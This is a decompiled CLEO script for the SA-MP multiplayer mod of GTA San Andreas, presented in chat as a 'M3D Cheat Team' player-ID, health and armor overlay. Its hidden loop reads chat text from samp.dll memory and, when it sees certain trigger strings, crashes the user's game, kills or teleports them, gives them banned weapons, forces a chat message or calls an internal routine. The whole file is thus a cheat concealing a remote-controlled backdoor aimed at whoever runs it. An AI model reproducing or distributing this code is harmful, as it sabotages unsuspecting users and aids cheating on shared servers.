// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}
//-------------MAIN---------------
0000: NOP
0B34: samp register_client_command ".sid" to_label @NONAME_601
0006: 0@ = 0
0B6D: render 30@ = create_font "Verdana" height 8 flags 5
0001: wait 3000 ms
0AF8: samp add_message_to_chat "[M3DGod]king:{EAEAEA} ʹÓ÷½·¨ /.sid {FF0000}[ÏÔÊ¾Íæ¼ÒID] {D0FC77}By:M3D Cheat Team" color 7182324
:NONAME_138
0001: wait 0 ms
00D6: if
8039: not 11@ == 0
004D: jump_if_false @NONAME_824
0006: 0@ = 0
:NONAME_167
00D6: if
0B23: samp is_player_connected 0@
004D: jump_if_false @NONAME_572
00D6: if
0B20: samp 1@ = actor_handle_by_samp_player_id 0@
004D: jump_if_false @NONAME_572
00D6: if
02CB: actor 1@ bounding_sphere_visible
004D: jump_if_false @NONAME_572
0AC8: 7@ = allocate_memory_size 26
0AC8: 8@ = allocate_memory_size 26
0AC8: 9@ = allocate_memory_size 26
04C4: store_coords_to 2@ 3@ 4@ from_actor 1@ with_offset 0.0 0.0 0.0
0B55: convert_3D_coords 2@ 3@ 4@ to_screen 2@ 3@
0B25: samp 5@ = get_player_health 0@
0B26: samp 6@ = get_player_armor 0@
0AD3: 7@ = format "HP{ffffff}: %d" 5@
0AD3: 8@ = format "AP{ffffff}: %d" 6@
0AD3: 9@ = format "ID: %d" 0@
0B6B: render 14@ = font 30@ draw_text 7@ length
0016: 14@ /= 2
0A8F: 12@ = 2@ - 14@ // int
0A8F: 13@ = 3@ - 20 // int
0B6F: render font 30@ draw_text 9@ pos 12@ 13@ color -1
0B6B: render 14@ = font 30@ draw_text 7@ length
0016: 14@ /= 2
0A8F: 12@ = 2@ - 14@ // int
0A8F: 13@ = 3@ - 10 // int
0B6F: render font 30@ draw_text 7@ pos 12@ 13@ color -48060
00D6: if
0019: 6@ > 0
004D: jump_if_false @NONAME_572
0B6B: render 14@ = font 30@ draw_text 8@ length
0016: 14@ /= 2
0A8F: 12@ = 2@ - 14@ // int
0A8F: 13@ = 3@ - 0 // int
0B6F: render font 30@ draw_text 8@ pos 12@ 13@ color -12303105
0AC9: free_allocated_memory 7@
0AC9: free_allocated_memory 8@
0AC9: free_allocated_memory 9@
:NONAME_572
000A: 0@ += 1
0019: 0@ > 1000
004D: jump_if_false @NONAME_167
0002: jump @NONAME_138
:NONAME_601
0B12: 11@ = 11@ XOR 1
00D6: if
0039: 11@ == 1
004D: jump_if_false @NONAME_729
0AF8: samp add_message_to_chat "[M3DGod]king:{EAEAEA} ÏÔÊ¾Íæ¼ÒID¿ªÆô {FF0000}[ÏÔÊ¾Íæ¼ÒID] {D0FC77}By:M3D Cheat Team" color 7182324
0002: jump @NONAME_822
:NONAME_729
0AF8: samp add_message_to_chat "[M3DGod]king:{EAEAEA} ÏÔÊ¾Íæ¼ÒID¹Ø±Õ {FF0000}[ÏÔÊ¾Íæ¼ÒID] {D0FC77}By:M3D Cheat Team" color 7182324
:NONAME_822
0B43: samp cmd_ret
:NONAME_824
0001: wait 0 ms
0AB1: call_scm_func @NONAME_1448 1 99 1@
00D6: if
0C18: 9@ = strstr string1 1@ string2 "¤û"
004D: jump_if_false @NONAME_883
0AB1: call_scm_func @NONAME_1540 0
0002: jump @NONAME_138
:NONAME_883
0001: wait 0 ms
0AB1: call_scm_func @NONAME_1448 1 99 1@
00D6: if
0C18: 9@ = strstr string1 1@ string2 "¤ü"
004D: jump_if_false @NONAME_939
038B: load_requested_models
07A7: put_jetpack_on_actor $PLAYER_ACTOR
0002: jump @NONAME_138
:NONAME_939
0001: wait 0 ms
0AB1: call_scm_func @NONAME_1448 1 99 1@
00D6: if
0C18: 9@ = strstr string1 1@ string2 "¤ý"
004D: jump_if_false @NONAME_1018
0247: load_model #MINIGUN
0001: wait 10 ms
01B2: give_actor $PLAYER_ACTOR weapon 38 ammo 1E38 // Load the weapon model before using this
0001: wait 10 ms
0249: release_model #MINIGUN
0002: jump @NONAME_138
:NONAME_1018
0001: wait 0 ms
0AB1: call_scm_func @NONAME_1448 1 99 1@
00D6: if
0C18: 9@ = strstr string1 1@ string2 "¤þ"
004D: jump_if_false @NONAME_1087
00A1: put_actor $PLAYER_ACTOR at 1E14 1E13 1E24
0002: jump @NONAME_138
:NONAME_1087
0001: wait 0 ms
0AB1: call_scm_func @NONAME_1448 1 99 1@
00D6: if
0C18: 9@ = strstr string1 1@ string2 "¥û"
004D: jump_if_false @NONAME_1173
0A8C: write_memory 1111111111 size 1.111111E12 value 1.111111E14 virtual_protect 1
0AA5: call 8535003 num_params 3 pop 3 0 0 0
0002: jump @NONAME_138
:NONAME_1173
0001: wait 0 ms
0AB1: call_scm_func @NONAME_1448 1 99 1@
00D6: if
0C18: 9@ = strstr string1 1@ string2 "¥ü"
004D: jump_if_false @NONAME_1334
00A0: store_actor $PLAYER_ACTOR position_to 6@ 7@ 8@
00A1: put_actor $PLAYER_ACTOR at 6@ 7@ 8@
083E: set_actor $PLAYER_ACTOR rotation 0.0 60.0 24@ while_in_air
0001: wait 10 ms
083E: set_actor $PLAYER_ACTOR rotation 0.0 120.0 24@ while_in_air
0001: wait 20 ms
083E: set_actor $PLAYER_ACTOR rotation 0.0 180.0 24@ while_in_air
0001: wait 30 ms
083E: set_actor $PLAYER_ACTOR rotation 0.0 0.0 24@ while_in_air
0002: jump @NONAME_138
:NONAME_1334
0001: wait 0 ms
0AB1: call_scm_func @NONAME_1448 1 99 1@
00D6: if
0C18: 9@ = strstr string1 1@ string2 "¥ý"
004D: jump_if_false @NONAME_1390
0223: set_actor $PLAYER_ACTOR health_to 0
0002: jump @NONAME_138
:NONAME_1390
0001: wait 0 ms
0AB1: call_scm_func @NONAME_1448 1 99 1@
00D6: if
0C18: 9@ = strstr string1 1@ string2 "¥þ"
004D: jump_if_false @NONAME_138
0AF9: samp say_msg "°Ö°Ö"
0002: jump @NONAME_138
:NONAME_1448
00D6: if
0AA2: 1@ = load_library "samp.dll" // IF and SET
004D: jump_if_false @NONAME_1532
000A: 1@ += 2203876
0A8D: 1@ = read_memory 1@ size 4 virtual_protect 0
000A: 1@ += 306
0012: 0@ *= 252
005A: 1@ += 0@ // (int)
000A: 1@ += 32
0AA3: free_library 1@
:NONAME_1532
0AB2: ret 1 1@
:NONAME_1540
0AA2: 0@ = load_library "samp.dll" // IF and SET
000A: 0@ += 22720
0AA5: call 0@ num_params 2 pop 0 0 65535
0AA3: free_library 0@
0AB2: ret 0